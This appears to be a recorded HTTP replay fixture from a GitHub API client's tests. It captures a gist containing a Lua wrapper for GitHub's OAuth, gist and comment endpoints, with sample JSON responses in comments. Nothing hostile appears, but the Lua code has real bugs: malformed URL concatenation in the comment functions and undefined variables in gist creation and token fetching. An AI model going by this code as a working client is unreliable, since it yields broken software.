\"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Edit a gist --\nfunction GithubAPI.gist.edit(id, files, callback, description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tid = id,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"files\": {\n \"file1.txt\": {\n \"content\": \"updated file contents\"\n },\n \"old_name.txt\": {\n \"filename\": \"new_name.txt\",\n \"content\": \"modified contents\"\n },\n \"new_file.txt\": {\n \"content\": \"a new file\"\n },\n \"delete_this_file.txt\": null\n }\n}\n]]--\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Star a gist --\nfunction GithubAPI.gist.star(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"PUT\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Unstar a gist --\nfunction GithubAPI.gist.unstar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Check if a gist is starred --\nfunction GithubAPI.gist.checkStar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback)\nend\n\n--[[\n-- Response if gist is starred --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n\n-- Response if gist is not starred --\nStatus: 404 Not Found\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Fork a gist --\nfunction GithubAPI.gist.fork(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/forks\", callback, {method=\"POST\"})\nend\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/2\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n}\n]]--\n\n-- Delete a gist --\nfunction GithubAPI.gist.delete(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n--- GISTS COMMENTS ---\n\n-- List comments on a gist --\nfunction GithubAPI.gist.comment.list(gist_id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n }\n]\n]]--\n\n-- Get a single comment --\nfunction GithubAPI.gist.comment.get(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Create a comment --\nfunction GithubAPI.gist.comment.create(gist_id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/comments/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Edit a comment --\nfunction GithubAPI.gist.comment.edit(gist_id, id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Delete a comment --\nfunction GithubAPI.gist.comment.delete(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {method = \"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n----------------------------------------------------------------------------\n-------------------------------- TOOLS -------------------------------------\n----------------------------------------------------------------------------\n\nfunction GithubAPI.http_request(url, callback, opts, fullUrl)\n\topts = opts or {}\n\t-- if GithubAPI.token then opts.headers = TOKEN BEARER\n\tif opts.data then opts.data = json.encode(opts.data) end\n\n\tlocal _url\n\tif (fullUrl) then _url = url else _url = GithubAPI.location .. url end\n\n\thttp.request(_url, function(data, status, headers)\n\t\tif (status == 500) then error(\"Github: Internal Server Error ...\") end\n\t\tdata = json.decode(data)\n\t\tcallback(data, status, headers)\n\tend, alert, opts)\nend\n\nfunction GithubAPI.explode(div,str) -- credit: http://richard.warburton.it\n if (div=='') then return false end\n local pos,arr = 0,{}\n for st,sp in function() return string.find(str,div,pos,true) end do\n table.insert(arr,string.sub(str,pos,st-1))\n pos = sp + 1\n end\n table.insert(arr,string.sub(str,pos))\n return arr\nend\n\n-- GITHUB TIMESTAMP (YYYY-MM-DDTHH:MM:SSZ) to os.time\nfunction GithubAPI.gtimestamp(githubTime)\n\tgithubTime = githubTime:sub(1, #githubTime-1) -- remove Z\n\tgithubTime = GithubAPI.explode(\"T\", githubTime)\n\tgithubTime[1] = GithubAPI.explode(\"-\", githubTime[1])\n\tgithubTime[2] = GithubAPI.explode(\":\", githubTime[2])\n\treturn os.time({\n\t\tyear = tonumber(githubTime[1][1]),\n\t\tmonth = tonumber(githubTime[1][2]),\n\t\tday = tonumber(githubTime[1][3]),\n\t\thour = tonumber(githubTime[2][1]),\n\t\tmin = tonumber(githubTime[2][2]),\n\t\tsec = tonumber(githubTime[2][3])\n\t})\nend"}},"public":true,"created_at":"2013-08-21T16:28:24Z","updated_at":"2013-08-21T16:28:24Z","description":"Github API","comments":0,"user":null,"comments_url":"https://api.github.com/gists/6296732/comments","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"fork_of":{"url":"https://api.github.com/gists/6296553","forks_url":"https://api.github.com/gists/6296553/forks","commits_url":"https://api.github.com/gists/6296553/commits","id":"6296553","git_pull_url":"https://gist.github.com/6296553.git","git_push_url":"https://gist.github.com/6296553.git","html_url":"https://gist.github.com/6296553","files":{},"public":true,"created_at":"2013-08-21T16:12:27Z","updated_at":"2013-10-23T14:58:31Z","description":"Github API","comments":0,"user":null,"comments_url":"https://api.github.com/gists/6296553/comments","owner":{"login":"HyroVitalyProtago","id":3470988,"avatar_url":"https://avatars.githubusercontent.com/u/3470988?","gravatar_id":"ed59562b231a649345f38703948f76f4","url":"https://api.github.com/users/HyroVitalyProtago","html_url":"https://github.com/HyroVitalyProtago","followers_url":"https://api.github.com/users/HyroVitalyProtago/followers","following_url":"https://api.github.com/users/HyroVitalyProtago/following{/other_user}","gists_url":"https://api.github.com/users/HyroVitalyProtago/gists{/gist_id}","starred_url":"https://api.github.com/users/HyroVitalyProtago/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HyroVitalyProtago/subscriptions","organizations_url":"https://api.github.com/users/HyroVitalyProtago/orgs","repos_url":"https://api.github.com/users/HyroVitalyProtago/repos","events_url":"https://api.github.com/users/HyroVitalyProtago/events{/privacy}","received_events_url":"https://api.github.com/users/HyroVitalyProtago/received_events","type":"User","site_admin":false}},"forks":[],"history":[{"user":null,"version":"c464aecd7fea16684e935607eeea7ae4f8caa0e2","committed_at":"2013-08-21T16:12:27Z","change_status":{"total":793,"additions":793,"deletions":0},"url":"https://api.github.com/gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2"}]} https GET api.github.com None /gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '26707'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '03d91026ad8428f4d9966d7434f9d82e'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"893689529e8ac78913dad210662443ac"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E80DDA:1FFB:7D4619:5366987A'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 04 May 2014 19:43:54 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1399236081')] {"url":"https://api.github.com/gists/6296732","forks_url":"https://api.github.com/gists/6296732/forks","commits_url":"https://api.github.com/gists/6296732/commits","id":"6296732","git_pull_url":"https://gist.github.com/6296732.git","git_push_url":"https://gist.github.com/6296732.git","html_url":"https://gist.github.com/6296732","files":{"GithubAPI.lua":{"filename":"GithubAPI.lua","type":"text/plain","language":"Lua","raw_url":"https://gist.githubusercontent.com/jacquev6/6296732/raw/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua","size":21229,"content":"-- GithubAPI\n-- @Author : Hyro Vitaly Protago\n-- @Version : 1.0.0\n\n--[[\n\nINFOS :\n - Cannot delete an anonymous gist\n]]--\n\nGithubAPI = {\n\tlocation = \"https://api.github.com/\",\n\ttoken = nil,\n\tOAuth = {\n\t\tauthorizations = {}\n\t},\n\tgist = {\n\t\tlist = {},\n\t\tcomment = {}\n\t},\n\tgithub = {}\n}\n\n----------------------------------------------------------------------------\n------------------------------ Github API ----------------------------------\n----------------------------------------------------------------------------\n\n--- Authentication ---\n\n--[[ Scopes --\n\nScopes let you specify exactly what type of access you need. Scopes limit access for OAuth tokens.\nThey do not grant any additional permission beyond that which the user already has.\n\nFor the web flow, requested scopes will be displayed to the user on the authorize form.\n\nCheck headers to see what OAuth scopes you have, and what the API action accepts.\n\n~~~\n$ curl -H \"Authorization: token OAUTH-TOKEN\" https://api.github.com/users/technoweenie -I\nHTTP/1.1 200 OK\nX-OAuth-Scopes: repo, user\nX-Accepted-OAuth-Scopes: user\nX-OAuth-Scopes lists the scopes your token has authorized. X-Accepted-OAuth-Scopes lists the scopes that the action checks for.\n~~~\n\n- (no scope)\npublic read-only access (includes public user profile info, public repo info, and gists).\n- user\nRead/write access to profile info only. Note: this scope includes user:email and user:follow.\n- user:email\nRead access to a user’s email addresses.\n- user:follow\nAccess to follow or unfollow other users.\n- public_repo\nRead/write access to public repos and organizations.\n- repo\nRead/write access to public and private repos and organizations.\n- repo:status\nRead/write access to public and private repository commit statuses.\nThis scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.\nThe repo and public_repo scopes already include access to commit status for private and public repositories respectively.\n- delete_repo\nDelete access to adminable repositories.\n- notifications\nRead access to a user’s notifications. repo is accepted too.\n- gist\nWrite access to gists.\n\nNOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them by a comma.\n~~~\nhttps://github.com/login/oauth/authorize?\n client_id=...&\n scope=user,public_repo\n~~~\n]]--\n\n-- Redirect users to request GitHub access --\nfunction GithubAPI.OAuth.getToken(client_id, scope, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/authorize?client_id=\"..client_id..\"&scope=\"..scope, function(data, status, headers)\n\t\tGithubAPI.OAuth._getToken(client_id, client_secret, data, callback)\n\tend, nil, true)\nend\n-- GitHub redirects back to your site --\nfunction GithubAPI.OAuth._getToken(client_id, client_secret, code, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/access_token\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret,\n\t\t\tcode = code\n\t\t}\n\t}, true)\nend\n\n-- List your authorizations --\nfunction GithubAPI.OAuth.authorizations.list(callback)\n\tGithubAPI.http_request(\"authorizations\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n }\n]\n]]--\n\n-- Get a single authorization --\nfunction GithubAPI.OAuth.authorizations.get(id, callback)\n\tGithubAPI.http_request(\"authorizations/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- Create a new authorization --\nfunction GithubAPI.OAuth.authorizations.create(callback, scopes, note, note_url, client_id, client_secret)\n\tGithubAPI.http_request(\"authorizations/\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tscopes = scopes,\n\t\t\tnote = note,\n\t\t\tnote_url = note_url,\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret\n\t\t}\n\t})\nend\n\n--[[ Input --\nscopes\nOptional array - A list of scopes that this authorization is in.\n\nnote\nOptional string - A note to remind you what the OAuth token is for.\n\nnote_url\nOptional string - A URL to remind you what app the OAuth token is for.\n\nclient_id\nOptional String - The 20 character OAuth app client key for which to create the token.\n\nclient_secret\nOptional String - The 40 character OAuth app client secret for which to create the token.\n~~~\n{\n \"scopes\": [\n \"public_repo\"\n ],\n \"note\": \"admin script\"\n}\n~~~\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/authorizations/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- TODO\n-- Update\n-- Check\n-- Delete\n\n--- GISTS ---\n\n-- List gists --\nfunction GithubAPI.gist.list.user(user, callback)\n\tGithubAPI.http_request(\"users/\"..user..\"/gists\", callback)\nend\nfunction GithubAPI.gist.list.all(callback) -- return all public gists if called anonymously\n\tGithubAPI.http_request(\"gists\", callback)\nend\nfunction GithubAPI.gist.list.allPublic(callback)\n\tGithubAPI.http_request(\"gists/public\", callback)\nend\nfunction GithubAPI.gist.list.starred(callback)\n\tGithubAPI.http_request(\"gists/starred\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n }\n]\n]]--\n\n-- Get a single gist --\nfunction GithubAPI.gist.get(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Create a gist --\nfunction GithubAPI.gist.create(public, files, callback ,description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tpublic = public,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"public\": true,\n \"files\": {\n \"file1.txt\": {\n \"content\": \"String file contents\"\n }\n }\n}\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Edit a gist --\nfunction GithubAPI.gist.edit(id, files, callback, description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tid = id,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"files\": {\n \"file1.txt\": {\n \"content\": \"updated file contents\"\n },\n \"old_name.txt\": {\n \"filename\": \"new_name.txt\",\n \"content\": \"modified contents\"\n },\n \"new_file.txt\": {\n \"content\": \"a new file\"\n },\n \"delete_this_file.txt\": null\n }\n}\n]]--\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n 